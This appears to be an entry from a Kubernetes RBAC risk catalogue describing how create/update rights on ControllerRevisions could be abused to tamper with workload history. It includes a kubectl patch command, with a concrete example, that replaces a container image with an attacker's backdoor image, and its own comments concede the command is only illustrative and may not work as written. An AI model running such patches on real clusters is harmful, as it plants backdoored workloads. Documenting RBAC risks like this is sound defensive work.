Create/Update ControllerRevisions (Potential Tampering)
Tampering
Medium
Overview
| Field | Value |
|---|---|
| ID | 1085 |
| Name | Create/Update ControllerRevisions (Potential Tampering) |
| Risk Category | Tampering |
| Risk Level | Medium |
| Role Type | Role |
| API Groups | apps |
| Resources | controllerrevisions |
| Verbs | create, update, patch |
| Tags | ControllerRevisionTampering Tampering WorkloadLifecycle |
Description
Allows creating or updating ControllerRevisions. This could be abused to tamper with the history of workloads like Deployments or StatefulSets, potentially forcing rollbacks to vulnerable versions, manipulating state, or obscuring legitimate changes.
Abuse Scenarios
- Create a new ControllerRevision with a malicious image or command.
# This is complex as ControllerRevisions are usually managed by controllers.
# Direct creation/patching is not common and requires careful crafting of the 'data' field.
# Example: Create a new revision for a deployment, pointing to a malicious image.
# This would typically be done by modifying the Deployment/StatefulSet itself.
# A direct kubectl command to create a *malicious* ControllerRevision is not practical.
# Instead, focus on the ability to manipulate existing ones.
# To demonstrate, one might try to patch an existing revision's data (which is base64 encoded).
# This is highly advanced and not a simple kubectl command.
# Let's provide a generic patch example, noting the complexity.
kubectl patch controllerrevision <revision-name> -n <namespace> --type='json' -p='[{"op": "replace", "path": "/data/spec/template/spec/containers/0/image", "value": "<malicious-image>"}]'
# Note: The 'data' field in ControllerRevision is base64 encoded. This command is illustrative.
# Example: kubectl patch controllerrevision my-app-deployment-12345 -n default --type='json' -p='[{"op": "replace", "path": "/data/spec/template/spec/containers/0/image", "value": "attacker/backdoor"}]'